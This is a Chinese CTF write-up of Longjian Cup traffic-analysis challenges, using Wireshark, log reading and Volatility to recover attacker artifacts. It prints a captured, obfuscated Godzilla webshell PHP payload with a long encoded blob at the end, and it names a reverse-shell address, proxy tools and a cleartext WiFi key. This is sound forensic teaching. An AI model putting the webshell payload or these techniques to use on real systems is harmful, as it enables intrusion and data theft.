通过陇剑杯进行流量分析的学习

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写在前面

最近参加了首届陇剑杯,和往常的CTF不太一样,题目基本都是流量分析类型的,我也是第一次接触这方面,还挺有意思的。写的不好的地方请各位师傅多多指正~最后这里要感谢几位师傅共同参与比赛。

 

1.签到

签到题是其中最简单的分析流量了。
Wireshark打开附件Good.pcapng:

可以看到可能遭受ARP攻击,所以flag是arp。

 

2.JWT

这里先来讲一下什么是JWT。
JWT即JSON Web Token。JWT 的原理是,服务器认证以后,生成一个 JSON 对象,发回给用户,以后,用户与服务端通信的时候,都要发回这个JSON对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名,服务器就不保存任何session数据了,也就是说,服务器变成无状态了,从而比较容易实现扩展。

那么这里既然涉及到Token,那么题目应该就会从Token值这里来下手了。那么2.2就出现了:
用Wireshark打开附件goroot.pcap:

先在/identity下找到了username为admin:

然后在对应的cookie里找到了Token值:

将Token值用base64解码之后便可得到id值为10087了。故flag为10087#admin

2.3是寻找黑客获取webshell后的权限,那么首先就是来找whoami
在过滤器里搜索http matches "(.*?)whoami"

右键点击追踪流,追踪http流:

然后在追踪该响应包的http流,找到了root权限

这里额外补充其中ios中的查找黑客利用的Github开源项目的名字:
在过滤器里搜索http matches "(.*?)git"(或者github也可)

可以看到黑客直接在本地用wget命令来获取GitHub上的项目,项目名称为Stowaway,这里我们也可以直接复制粘贴访问该项目查看下:

故flag为stowaway。

2.4是寻找黑客上传的恶意文件名字。那么Wireshark打开附件,要查找上传点的文件一般过滤只看post:
http.request.method=="POST"

这里发现一段base64,发现需要分段解出得到一段c语言程序:

继续往下找

发现1.c文件,但不确定继续往下看

这里把1.c文件重命名为了looter.c文件,应该可以确定上传的文件就是1.c了

2.5查找黑客在服务器上编译的恶意so文件名字,这个很简单,有两种解决方法:
一种就直接用Wireshark全局搜索.so即可定位文件名为:looter.so:

另外一种方法是直接用记事本打开并搜索.so,即可得到想要的答案了:

故flag答案为looter.so

 

3.webshell

3.1需要查找黑客登陆系统使用的密码,这里稍微信息收集下收集到用的是php后缀,那么就直接在过滤器里搜索http.request.method =="POST" && http contains "php",点击第一个,查看到密码:

3.2是查找黑客修改的一个日志文件的绝对路径,那么同理还是在过滤器里搜索http.request.method =="POST" && http contains "php",点击找到log文件data/Runtime/Logs/Home/21_08_07.log

可是这里只是一个相对路径,在响应包中找到对应的/var/www/html,拼接一下即为绝对路径flag:
/var/www/html/data/Runtime/Logs/Home/21_08_07.log

3.3同2.3一样是寻找黑客获取webshell后的权限,这里用另外一种方法来查找:
在过滤器里搜索http.request.method =="POST" && http contains "php",找到whoami:

右键点击追踪流,追踪http流

找到对应的响应包

右键追踪http流,在其中找到权限

3.4则是查找黑客写入的webshell文件名称,那么用wireshark打开附件hack.pcap:

直接看到webshell为1.php。

3.5是寻找黑客上传的代理工具客户端名字。这个直接定位到最后一个响应包,右键点击追踪流,追踪http流:

在里面找到了frpc和frpc.ini,所以flag就是frpc。这个是啥应该不用多说了。

 

4.日志分析与简单日志分析

在日志分析中,开局直接打开txt文件,ctrl+F查找200,便找到了www.zip,这个即为网络存在源码泄漏所泄露的源码文件名,即flag:

然后来了一个查找黑客往/tmp目录写入的一个文件名称,那么直接ctrl+F查找200,一直往下翻到一个200的file参数,其等于sess_car,那么flag就是sess_car了:

最后让我分析攻击流量,分析黑客使用的是什么类来读取了秘密文件。这里找到了一个似乎是用python写的脚本请求:

将filename后面这一串放到url编码中解码,可以看到这里是用的php反序列化来读取秘密文件,类为SplFileObject,故flag就是SplFileObject

在简单日志分析中,确实也是比较简单。用记事本打开日志文件:

即可查看到黑客攻击的参数为user,这个就是flag了。

然后是需要黑客查看的秘密文件的绝对路径。这里找到第二段base64编码数据解开:

得到绝对路径:/Th4s_IS_VERY_Import_Fi1e

最后是寻找黑客反弹shell的ip和端口。这里找到最后一段base64解密:

或者也可以用burpsuite先url解码,再base64解码可得flag答案:192.168.2.197:8888

 

5.SQL注入

记事本打开日志文件直接翻到文件后面

这句是查询字段flag从sqli数据库中的flag表,所以flag答案为:sqli#flag#flag

 

6.端口扫描

这里讲其中一个查找黑客端口扫描的扫描器的扫描范围。
首先打开统计—端点:

按照portB排序,一般而言,端口扫描都是连续性有规则的端口,从这里我们能看到起始端口是10:

拉到最底下我们统计出末尾端口为449:

那么最终答案便是10-499

 

7.wifi

描述

网管小王最近喜欢上了ctf网络安全竞赛,他使用“哥斯拉”木马来玩玩upload-labs,并且保存了内存镜像、wifi流量和服务器流量。小王往upload-labs上传木马后进行了cat /flag,flag内容究竟是啥呢?(压缩包里有解压密码的提示,需要额外添加花括号)

题解

想要解出这一题需要使用到Volatility这个开源的取证框架,这个框架能够对导出的内存镜像镜像分析,能过通过获取内核的数据结构,使用插件获取内存的详细情况和运行状态,同时可以直接dump系统文件,屏幕截图,查看进程等等。

​ 首先内存镜像分析,先看看imageinfo探测系统类型

volatility -f Windows\ 7-dde00fa9.vmem imageinfo

cmdscan查看最近命令,这个命令为导出wifi的密码

volatility -f Windows\ 7-dde00fa9.vmem --profile=Win7SP1x86_23418 cmdscan

filescan查看该文件夹里的东西,发现My_Wifi.zip

volatility -f Windows\ 7-dde00fa9.vmem --profile=Win7SP1x86_23418 filescan | grep "Program Files"

打开zip发现hintpassword is Network Adapter GUID,需要网卡的GUID,GUID在Windows的C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\文件夹内

volatility -f Windows\ 7-dde00fa9.vmem --profile=Win7SP1x86_23418 filescan | grep "Interfaces"

{529B7D2A-05D1-4F21-A001-8F4FF817FC3A},解压后wifi信息为:

<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
    <name>My_Wifi</name>
    <SSIDConfig>
        <SSID>
            <hex>4D795F57696669</hex>
            <name>My_Wifi</name>
        </SSID>
    </SSIDConfig>
    <connectionType>ESS</connectionType>
    <connectionMode>auto</connectionMode>
    <MSM>
        <security>
            <authEncryption>
                <authentication>WPA2PSK</authentication>
                <encryption>AES</encryption>
                <useOneX>false</useOneX>
            </authEncryption>
            <sharedKey>
                <keyType>passPhrase</keyType>
                <protected>false</protected>
                <keyMaterial>233@114514_qwe</keyMaterial>
            </sharedKey>
        </security>
    </MSM>
</WLANProfile>

发现密码为233@114514_qwe,有了这个Wifi密码我们可以解密客户端的cap流量包

airdecap-ng -e My_Wifi -p 233@114514_qwe 客户端.cap

然后分析后找到

有一些这种密文,这时候我们再通过服务器那边的流量

我们可以发现其是两两对应的,我们先拿服务器的流量解密一下

第一层是url解码

pass=eval(base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBXayR3coAiZpBCIgACIgACIK0welNHbl1HIgACIK0wOpYTMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpkSeltGJskSY0FGZkgib1JHQoUGZvNmblhSZk92YuV2X0YTZzFmYg8GajVGIgACIgACIgoQD7kiNxwCMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpQWYvxWehBHJowWY2VGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'))));&key=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